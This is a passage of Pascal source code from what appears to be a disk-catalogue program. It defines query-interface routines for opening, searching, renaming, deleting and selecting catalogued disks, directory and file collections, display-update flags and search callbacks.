end;
//-----------------------------------------------------------------------------
// Deletes SavedTreeStruct and replaces it by an empty one
procedure QI_ClearSavedTreeStruct (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
with Database^ do
if SavedTreeStruct <> nil then
begin
Dispose(SavedTreeStruct, Done);
SavedTreeStruct := nil;
end;
end;
//-----------------------------------------------------------------------------
// Moves TreeStruct to SavedTreeStruct
procedure QI_SaveTreeStruct (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
with Database^ do
begin
if SavedTreeStruct <> nil then
Dispose(SavedTreeStruct, Done);
SavedTreeStruct := TreeStruct;
TreeStruct := nil;
end;
end;
//-----------------------------------------------------------------------------
// Moves TreeStruct from SavedTreeStruct
procedure QI_RestoreTreeStruct (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
with Database^ do
begin
if TreeStruct <> nil then
Dispose(TreeStruct, Done);
TreeStruct := SavedTreeStruct;
SavedTreeStruct := nil;
end;
end;
//-----------------------------------------------------------------------------
// Idicates, whether the database is open
function QI_DatabaseIsOpened (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_DatabaseIsOpened := false;
result:=false;
if Database <> nil then
QI_DatabaseIsOpened := Database^.DatabaseOpened;
end;
//-----------------------------------------------------------------------------
// Searches the nearest key. Key is filled with found string.
function QI_KeySearch (DBHandle: PDBaseHandle; var Key: ShortString;
var Index: Integer): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_KeySearch := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.KeySearch(Key, 0, Index) then
begin
Key := Database^.ReadKeyStr(Database^.KeyField^.Keys[Index].Position);
QI_KeySearch := true;
end;
end;
//-----------------------------------------------------------------------------
// Reads disk from database to the work record
procedure QI_ReadDBaseEntry (DBHandle: PDBaseHandle; Position: longint;
RWMode: TRWMode);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.ReadDBaseEntry (Position, RWMode);
end;
//-----------------------------------------------------------------------------
// Reads disk from database to the saved record
procedure QI_ReadDBaseEntryToSaved (DBHandle: PDBaseHandle;
Index: Integer);
var
Database: PDatabase absolute DBHandle;
Key : TKeyRecord;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Key := Database^.KeyField^.Keys[Index];
Database^.ReadDBaseEntryToSaved (Key.Position);
end;
//-----------------------------------------------------------------------------
// Appends the work entry to the database.
function QI_AppendNewDBaseEntry (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
QI_AppendNewDBaseEntry := Database^.AppendNewDBaseEntry(false);
end;
//-----------------------------------------------------------------------------
// Deletes the work record from the database
function QI_DeleteDBaseEntry (DBHandle: PDBaseHandle; Index: Integer): boolean;
var
Database: PDatabase absolute DBHandle;
Key : TKeyRecord;
begin
QI_DeleteDBaseEntry := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
with Database^ do
begin
Key := KeyField^.Keys[Index];
QI_ClearTreeStruct(Database);
ReadDBaseEntry (Key.Position, rwHead); // read head only
if TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
if ShortCopy(TreeStruct^.Dta.Name, length(TreeStruct^.Dta.Name), 1) <> ']' then
begin
inc(KeyField^.CountDeleted);
TreeStruct^.Dta.Name := TreeStruct^.Dta.Name + ' [' +
IntToStr(KeyField^.CountDeleted) + ']';
end;
TreeStruct^.Dta.TreeAttr := TreeStruct^.Dta.TreeAttr or kaDeleted;
if not Database^.WriteToDBaseEntry (Key.Position, rwHead) then exit;
KeyAtDelete(Index);
end;
QI_DeleteDBaseEntry := true;
end;
//-----------------------------------------------------------------------------
// Delete selected database records
function QI_DeleteSelectedDBaseEntries (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
while Database^.GetSelectedCount > 0 do
QI_DeleteDBaseEntry(DBHandle, Database^.GetFirstSelectedIndex);
QI_DeleteSelectedDBaseEntries := true;
end;
//-----------------------------------------------------------------------------
// Renames database entry
function QI_RenameDBaseEntry (DBHandle: PDBaseHandle; Index: Integer;
NewName: ShortString; Undelete: boolean): boolean;
var
Database: PDatabase absolute DBHandle;
Key : TKeyRecord;
begin
QI_RenameDBaseEntry := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
with Database^ do
begin
Key := KeyField^.Keys[Index];
QI_ClearTreeStruct(Database);
ReadDBaseEntry (Key.Position, rwHead);
if TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
TreeStruct^.Dta.Name := NewName;
if Undelete then
TreeStruct^.Dta.TreeAttr := TreeStruct^.Dta.TreeAttr and not kaDeleted;
if not WriteToDBaseEntry (Key.Position, rwHead) then exit;
if Undelete and (KeyField^.Keys[Index].Attr and kaDeleted <> 0) then
begin
KeyField^.Keys[Index].Attr := Key.Attr and not kaDeleted;
inc(KeyField^.CountValid);
end;
KeyAtResort(Index);
end;
QI_RenameDBaseEntry := true;
end;
//-----------------------------------------------------------------------------
// (unused)
procedure QI_SetNewKeyNameToTree (DBHandle: PDBaseHandle; KeyName: ShortString);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
Database^.TreeStruct^.Dta.Name := KeyName;
end;
//-----------------------------------------------------------------------------
// Scans a disk
function QI_ScanDisk (DBHandle: PDBaseHandle; Path, DiskName, VolumeLabel: ShortString): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
with Database^ do
begin
if TreeStruct <> nil then Dispose(TreeStruct, Done);
TreeStruct := New(PTreeStruct, Init(Database, false));
QI_ScanDisk := TreeStruct^.ScanDisk(Path, DiskName, VolumeLabel);
end;
end;
//-----------------------------------------------------------------------------
// Fills the TreeInfo structure - used to show Disk Info dialog.
function QI_GetTreeInfo (DBHandle: PDBaseHandle; var TreeInfo: TTreeInfo): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
TreeInfo := Database^.TreeStruct^.Dta;
QI_GetTreeInfo := true;
end;
//-----------------------------------------------------------------------------
// Returns full path of the selected tree item
function QI_GetFullDirPath (DBHandle: PDBaseHandle; var Path: ShortString): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_GetFullDirPath := false;
Path := '';
if Database = nil then exit;
if Database^.GetCountToShow = 0 then exit; // empty database
if Database^.TreeStruct = nil then exit;
if Database^.TreeStruct^.CurDirCol = nil then exit;
Path := Database^.TreeStruct^.CurDirCol^.GetFullDirPath;
QI_GetFullDirPath := true;
end;
//-----------------------------------------------------------------------------
// Returns true when the current tree item is in an archive
function QI_IsInArchive (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
Result := false;
if Database = nil then exit;
if Database^.GetCountToShow = 0 then exit; // empty database
if Database^.TreeStruct = nil then exit;
if Database^.TreeStruct^.CurDirCol = nil then exit;
Result := Database^.TreeStruct^.CurDirCol^.InArchive;
end;
//-----------------------------------------------------------------------------
// Returns the path to the archive, in which the current tree node is located
function QI_GetArchivePath (DBHandle: PDBaseHandle): ShortString;
var
Database: PDatabase absolute DBHandle;
begin
Result := '';
if Database = nil then exit;
if Database^.GetCountToShow = 0 then exit; // empty database
if Database^.TreeStruct = nil then exit;
if Database^.TreeStruct^.CurDirCol = nil then exit;
Result := Database^.TreeStruct^.CurDirCol^.GetArchivePath;
end;
//-----------------------------------------------------------------------------
// Returns the handle of the current directory collection
function QI_GetCurDirCol (DBHandle: PDBaseHandle): PDirColHandle;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
QI_GetCurDirCol := Database^.TreeStruct^.CurDirCol;
end;
//-----------------------------------------------------------------------------
// Fills the SubTotals struture with sums of sizes of the files in subdirectories
function QI_GetCurDirColSubTotals (DBHandle: PDBaseHandle;
var SubTotals: TSubTotals): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_GetCurDirColSubTotals := false;
FillChar(SubTotals, SizeOf(SubTotals), 0);
if Database = nil then exit;
if Database^.TreeStruct = nil then exit;
if Database^.TreeStruct^.CurDirCol = nil then exit;
QI_GetCurDirColSubTotals := true;
SubTotals := Database^.TreeStruct^.CurDirCol^.SubTotals;
end;
//-----------------------------------------------------------------------------
// Returns the handle of the root directory collection
function QI_GetRootDirCol (DBHandle: PDBaseHandle): PDirColHandle;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
QI_GetRootDirCol := Database^.TreeStruct^.RootDirCol;
end;
//-----------------------------------------------------------------------------
// Returns the current file collection
function QI_GetFileCol (DBHandle: PDBaseHandle): PFileColHandle;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
QI_GetFileCol := Database^.TreeStruct^.CurFileCol;
end;
//-----------------------------------------------------------------------------
// Sets the supplied directory collection as the current one
procedure QI_SetCurDirCol (DBHandle: PDBaseHandle; DirColHandle: PDirColHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
if DirColHandle = nil then
raise EQDirFatalException.Create(lsErrorDirColHandleIsNil);
Database^.TreeStruct^.CurDirCol := DirColHandle;
end;
//-----------------------------------------------------------------------------
// Reloads the file collection from the database. Used after the change of the
// current directory collection.
procedure QI_UpdateFileCol (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
Database^.TreeStruct^.UpdateCurFileCol(fsAll);
end;
//-----------------------------------------------------------------------------
// Returns the current key as string
function QI_GetCurrentKey (DBHandle: PDBaseHandle; var Key: ShortString;
var Attr: Word; var Index: Integer): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_GetCurrentKey := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.GetCountToShow = 0 then exit;
if Database^.KeyField = nil then
raise EQDirFatalException.Create(lsErrorKeyFieldIsNil);
if Database^.KeyField^.Count = 0 then exit;
with Database^ do
begin
Index := KeyField^.Focused;
Attr := KeyField^.Keys[Index].Attr;
Key := ReadKeyStr(KeyField^.Keys[Index].Position);
end;
QI_GetCurrentKey := true;
end;
//-----------------------------------------------------------------------------
// Returns additional parameters of the current key
function QI_GetCurrentKeyEx (DBHandle: PDBaseHandle;
var DiskName, VolumeLabel, OrigPath: ShortString;
var Attr: Word; var Index: Integer): boolean;
var
Database: PDatabase absolute DBHandle;
begin
Result := true;
DiskName := '';
VolumeLabel := '';
OrigPath := '';
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.GetCountToShow = 0 then exit;
if Database^.KeyField = nil then
raise EQDirFatalException.Create(lsErrorKeyFieldIsNil);
if Database^.KeyField^.Count = 0 then exit;
with Database^ do
begin
Index := KeyField^.Focused;
Attr := KeyField^.Keys[Index].Attr;
ReadKeyStrEx(KeyField^.Keys[Index].Position, DiskName, VolumeLabel, OrigPath);
end;
end;
//-----------------------------------------------------------------------------
// Returns a key at specified position
function QI_GetKeyAt (DBHandle: PDBaseHandle; var Key: ShortString;
var Attr: Word; Index: Integer): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_GetKeyAt := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.KeyField = nil then
raise EQDirFatalException.Create(lsErrorKeyFieldIsNil);
if (Index < 0) or (Index >= Database^.GetCountToShow) then exit;
with Database^ do
begin
Attr := KeyField^.Keys[Index].Attr;
Key := ReadKeyStr(KeyField^.Keys[Index].Position);
end;
QI_GetKeyAt := true;
end;
//-----------------------------------------------------------------------------
// Returns short description for the file or directory
function QI_GetShortDesc (DBHandle: PDBaseHandle; ID: TFilePointer; var ShortDesc: ShortString): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
QI_GetShortDesc := Database^.GetShortDesc(ID, -1, ShortDesc);
end;
//-----------------------------------------------------------------------------
// Returns selection flags of the key
function QI_GetSelectionFlag (DBHandle: PDBaseHandle; Index: Integer): boolean;
var
Database: PDatabase absolute DBHandle;
begin
Result := false;
if (Database = nil) or (Database^.KeyField = nil) or
(Index < 0) or (Index >= Database^.KeyField^.Count) then exit;
with Database^.KeyField^.Keys[Index] do
Result := Attr and kaSelected <> 0;
end;
//-----------------------------------------------------------------------------
// Sets selection flags of the key
procedure QI_SetSelectionFlag (DBHandle: PDBaseHandle; Selected: boolean;
Index: Integer);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.KeyField = nil then
raise EQDirFatalException.Create(lsErrorKeyFieldIsNil);
if (Index < 0) or (Index >= Database^.KeyField^.Count) then exit;
with Database^.KeyField^.Keys[Index] do
if Attr and kaDeleted = 0 then
if Selected
then Attr := Attr or kaSelected
else Attr := Attr and not kaSelected;
end;
//-----------------------------------------------------------------------------
// Toggles the selection flag on a key
procedure QI_ToggleSelectionFlag (DBHandle: PDBaseHandle; Index: Integer);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.KeyField = nil then
raise EQDirFatalException.Create(lsErrorKeyFieldIsNil);
if (Index < 0) or (Index >= Database^.KeyField^.Count) then exit;
with Database^.KeyField^.Keys[Index] do
if Attr and kaDeleted = 0 then
if Attr and kaSelected = 0
then Attr := Attr or kaSelected
else Attr := Attr and not kaSelected;
end;
//-----------------------------------------------------------------------------
// Returns the number of selected items
function QI_GetSelectedCount (DBHandle: PDBaseHandle): longint;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
QI_GetSelectedCount := Database^.GetSelectedCount;
end;
//-----------------------------------------------------------------------------
// Sets the current key
function QI_SetCurrentKeyPos (DBHandle: PDBaseHandle; Index: Integer): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_SetCurrentKeyPos := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.KeyField = nil then
raise EQDirFatalException.Create(lsErrorKeyFieldIsNil);
if (Index < 0) or (Index >= Database^.KeyField^.Count) then exit;
with Database^ do
begin
if KeyField^.Focused <> Index then
NeedUpdDiskWin := true; {to je dulezite - aby se to nezacyklilo}
KeyField^.Focused := Index;
QI_SetCurrentKeyPos := true;
end;
end;
//-----------------------------------------------------------------------------
// Returns number of keys to be displayed: The number depends on "Show Deleted"
// option
function QI_GetCountToShow (DBHandle: PDBaseHandle): Integer;
var
Database: PDatabase absolute DBHandle;
begin
QI_GetCountToShow := 0;
if Database <> nil then
QI_GetCountToShow := Database^.GetCountToShow;
end;
//-----------------------------------------------------------------------------
// Checks, if a tree corresponding to the key is loaded
function QI_IsCorrectTreeLoaded (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_IsCorrectTreeLoaded := false;
if Database = nil then exit;
if Database^.KeyField = nil then exit;
if Database^.TreeStruct = nil then exit;
with Database^ do
QI_IsCorrectTreeLoaded :=
ReadKeyStr(KeyField^.Keys[KeyField^.Focused].Position) = TreeStruct^.Dta.Name;
end;
//-----------------------------------------------------------------------------
// Returns true, if the update of display of disks is needed (for example
// when a disk is deleted or renamed).
function QI_NeedUpdDiskWin (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_NeedUpdDiskWin := false;
if Database = nil then exit;
QI_NeedUpdDiskWin := Database^.NeedUpdDiskWin;
end;
//-----------------------------------------------------------------------------
// Returns true, if the update of the display of the tree is needed.
function QI_NeedUpdTreeWin (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_NeedUpdTreeWin := false;
if Database = nil then exit;
QI_NeedUpdTreeWin := Database^.NeedUpdTreeWin;
end;
//-----------------------------------------------------------------------------
// Returns true, if the update of the display of the files is needed.
function QI_NeedUpdFileWin (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_NeedUpdFileWin := false;
if Database = nil then exit;
QI_NeedUpdFileWin := Database^.NeedUpdFileWin;
end;
//-----------------------------------------------------------------------------
// Clears the flag indicating the update of disks display is needed
procedure QI_ClearNeedUpdDiskWin (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
Database^.NeedUpdDiskWin := false;
end;
//-----------------------------------------------------------------------------
// Clears the flag indicating the update of files display is needed
procedure QI_ClearNeedUpdFileWin (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
Database^.NeedUpdFileWin := false;
end;
//-----------------------------------------------------------------------------
// Clears the flag indicating the update of tree display is needed
procedure QI_ClearNeedUpdTreeWin (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
Database^.NeedUpdTreeWin := false;
end;
//-----------------------------------------------------------------------------
// Sets the flag indicating the update of disks display is needed
procedure QI_SetNeedUpdDiskWin (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
Database^.NeedUpdDiskWin := true;
end;
//-----------------------------------------------------------------------------
// Sets the flag indicating the update of tree display is needed
procedure QI_SetNeedUpdTreeWin (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
Database^.NeedUpdTreeWin := true;
end;
//-----------------------------------------------------------------------------
// Sets the flag indicating the update of files display is needed
procedure QI_SetNeedUpdFileWin (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
Database^.NeedUpdFileWin := true;
end;
//-----------------------------------------------------------------------------
// Sets the local options to the database
procedure QI_SetLocalOptions (DBHandle: PDBaseHandle; LocalOptions: TLocalOptions);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.LocalOptions := LocalOptions;
end;
//-----------------------------------------------------------------------------
// Gets the local options from the database
procedure QI_GetLocalOptions (DBHandle: PDBaseHandle; var LocalOptions: TLocalOptions);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
LocalOptions := Database^.LocalOptions;
end;
//-----------------------------------------------------------------------------
// Searches for the key. If does not find exact match, finds the nearest one.
// Sets the found item as current key
function QI_GoToKey (DBHandle: PDBaseHandle; Key: ShortString): boolean;
var
Database : PDatabase absolute DBHandle;
Index : Integer;
FoundExact: boolean;
begin
QI_GoToKey := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
with Database^ do
begin
if GetCountToShow > 0 then
begin
FoundExact := KeySearch (Key, 0, Index);
QI_GoToKey := QI_GoToKeyAt(DBHandle, Index) and FoundExact;
end;
end;
end;
//-----------------------------------------------------------------------------
// Goes to the specified key by index. Sets the found key as the current key.
function QI_GoToKeyAt (DBHandle: PDBaseHandle; KeyPos: Integer): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_GoToKeyAt := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
with Database^ do
begin
if GetCountToShow > 0 then
begin
if (KeyPos < 0) or (KeyPos >= KeyField^.Count) then exit;
KeyField^.Focused := KeyPos;
NeedUpdDiskWin := true;
QI_GoToKeyAt := QI_ReloadTreeStruct(DBHandle, false);
end;
end;
end;
//-----------------------------------------------------------------------------
// Reloads the tree struct from database. Reloads only in case it is not loaded yet
function QI_ReloadTreeStruct (DBHandle: PDBaseHandle; LeaveNil: boolean): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_ReloadTreeStruct := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
with Database^ do
begin
if LeaveNil and (TreeStruct = nil) then exit; {je-li nil, ponechat}
if GetCountToShow > 0 then
begin
if (TreeStruct = nil) or
(ReadKeyStr(KeyField^.Keys[KeyField^.Focused].Position) <> TreeStruct^.Dta.Name)
then ReadDBaseEntry(KeyField^.Keys[KeyField^.Focused].Position, rwWhole);
QI_ReloadTreeStruct := true;
end;
end;
end;
//-----------------------------------------------------------------------------
// Returns database file name. Used to check, if the database of some name is
// already open.
function QI_GetDBaseFileName (DBHandle: PDBaseHandle): ShortString;
var
Database: PDatabase absolute DBHandle;
begin
QI_GetDBaseFileName := '';
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
QI_GetDBaseFileName := Database^.DBaseName;
end;
//-----------------------------------------------------------------------------
// Loads the description to a buffer. Allocates the Buf, needed to be
// deallocated by the caller
function QI_LoadDescToBuf (DBHandle: PDBaseHandle; ID: TFilePointer;
var Buf: PChar): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
QI_LoadDescToBuf := Database^.LoadDescToBuf(ID, Buf);
end;
//-----------------------------------------------------------------------------
// Saves the description to database
function QI_SaveBufToDesc (DBHandle: PDBaseHandle; var OrigFilePointer: TFilePointer;
Buf: PChar): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
QI_SaveBufToDesc := Database^.SaveBufToDesc(OrigFilePointer, Buf);
end;
//-----------------------------------------------------------------------------
// Delete a file from database
procedure QI_DeleteFile (DBHandle: PDBaseHandle; var fileName: ShortString);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.DeleteFile(fileName);
end;
//-----------------------------------------------------------------------------
// Adds new reference to the description to CurDirCol, CurFileCol and Tree.
// Used after the new description was assigned to OneFile record.
procedure QI_UpdateDescInCurList(DBHandle: PDBaseHandle; POneFile: TPOneFile);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.UpdateDescInCurList(POneFile);
end;
//-----------------------------------------------------------------------------
// Returns database info in the DBaseInfo structure
procedure QI_GetDBaseInfo (DBHandle: PDBaseHandle; var DBaseInfo: TDBaseInfo);
var
Database: PDatabase absolute DBHandle;
begin
FillChar(DBaseInfo, sizeof(DBaseInfo), 0);
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.GetDBaseInfo(DBaseInfo);
end;
//-----------------------------------------------------------------------------
// Returns non-zero value if the database is used longer than 1 month. Used to
// display Help at program exit.
function QI_DBaseExpired (DBHandle: PDBaseHandle): integer;
var
Database: PDatabase absolute DBHandle;
begin
Result := 0;
if Database = nil then exit;
Result := Database^.Expired;
end;
//==== DirCollection functions ================================================
// Returns count of items in directory collection
function QI_GetDirColCount (DCHandle: PDirColHandle): Integer;
var
DirCol: PDirCollection absolute DCHandle;
begin
if DirCol = nil then
raise EQDirFatalException.Create(lsErrorDirColHandleIsNil);
QI_GetDirColCount := DirCol^.Count;
end;
//-----------------------------------------------------------------------------
// Returns the data (description, size, time etc.) from directory collection
function QI_GetOneDirDta (DCHandle: PDirColHandle; var OneDir: TOneDir): boolean;
var
DirCol: PDirCollection absolute DCHandle;
begin
if DirCol = nil then
raise EQDirFatalException.Create(lsErrorDirColHandleIsNil);
MoveOneDir(DirCol^.Dta^, OneDir);
QI_GetOneDirDta := true;
end;
//-----------------------------------------------------------------------------
// Returns the dir collection at specified position
function QI_GetDirColAt (DCHandle: PDirColHandle; Index: Integer): PDirColHandle;
var
DirCol: PDirCollection absolute DCHandle;
begin
if DirCol = nil then
raise EQDirFatalException.Create(lsErrorDirColHandleIsNil);
QI_GetDirColAt := DirCol^.At(Index);
end;
//==== FileCollection functions ===============================================
// Returns the count of the file collection
function QI_GetFileColCount (FCHandle: PFileColHandle): Integer;
var
FileCol: PFileCollection absolute FCHandle;
begin
if FileCol = nil then
raise EQDirFatalException.Create(lsErrorFileColHandleIsNil);
QI_GetFileColCount := FileCol^.Count;
end;
//-----------------------------------------------------------------------------
// Returns OneFile from the file collection at specified index
function QI_GetOneFileFromCol (FCHandle: PFileColHandle; Index: Integer;
var OneFile: TOneFile): boolean;
var
FileCol: PFileCollection absolute FCHandle;
POneFile: TPOneFile;
RealSize: Integer;
begin
if FileCol = nil then
raise EQDirFatalException.Create(lsErrorFileColHandleIsNil);
POneFile := TPOneFile(FileCol^.At(Index));
///RealSize := 8 + oneFileHeadSize + 1 + length(POneFile^.LongName);
RealSize := 16 + oneFileHeadSize + 1 + length(POneFile^.LongName);
move(POneFile^, OneFile, RealSize);
QI_GetOneFileFromCol := true;
end;
//=== FileSearch functions ====================================================
// Clears the search collection
procedure QI_ClearSearchCol (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
Database^.FileSearchCol^.FreeAll;
end;
//-----------------------------------------------------------------------------
// Returns true if the search collection is not empty
function QI_SearchItemsAvail (DBHandle: PDBaseHandle): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
QI_SearchItemsAvail := Database^.FileSearchCol^.Count > 0;
end;
//-----------------------------------------------------------------------------
// Sets the callback function for search functions
procedure QI_SetSearchCallback (DBHandle: PDBaseHandle;
UpdateFunct: TCallBackProc);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
Database^.UpdateFunct := UpdateFunct;
end;
//-----------------------------------------------------------------------------
// Clears the callback function for search functions
procedure QI_DelSearchCallback (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.ClearUpdateFunct;
end;
//-----------------------------------------------------------------------------
// Searches folders/files in the database
procedure QI_FindFiles (DBHandle: PDBaseHandle; SearchDlgData: TSearchDlgData);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
TokenFindMask(SearchDlgData.Mask, Database^.MaskCol, SearchDlgData.CaseSensitive,
SearchDlgData.AddWildCards, SearchDlgData.AsPhrase);
TokenFindMask(SearchDlgData.ExcludeMask, Database^.ExcludeMaskCol,
false, false, false);
TokenFindMask(SearchDlgData.DirMask, Database^.DirMaskCol,
false, false, false);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
Database^.SearchDlgData := SearchDlgData;
Database^.FindFiles;
end;
//-----------------------------------------------------------------------------
// Sets callback function for printing disks
procedure QI_SetIterateCallback (DBHandle: PDBaseHandle;
UpdateFunct: TCallBackProc;
SendOneDiskFunct: TSendOneDiskFunct;
SendOneDirFunct : TSendOneDirFunct;
SendOneFileFunct: TSendOneFileFunct;
GetNameWidthFunct: TGetNameWidthFunct);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
Database^.UpdateFunct := UpdateFunct;
Database^.SendOneDiskFunct := SendOneDiskFunct;
Database^.SendOneDirFunct := SendOneDirFunct;
Database^.SendOneFileFunct := SendOneFileFunct;
Database^.GetNameWidthFunct := GetNameWidthFunct;
end;
//-----------------------------------------------------------------------------
// Clears callback function for printing disks
procedure QI_DelIterateCallback (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.ClearUpdateFunct;
Database^.ClearSendFunct;
end;
//-----------------------------------------------------------------------------
// Sets the callback functions for export of disks
procedure QI_SetNotifyProcs (DBHandle: PDBaseHandle;
UpdateFunct : TCallBackProc;
OnDatabaseBegin : TNotifyProc;
OnDatabaseEnd : TNotifyProc;
OnDiskBegin : TNotifyProc;
OnDiskEnd : TNotifyProc;
OnFolderBegin : TNotifyProc;
OnFolderEnd : TNotifyProc;
OnFile : TNotifyProc);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.UpdateFunct := UpdateFunct;
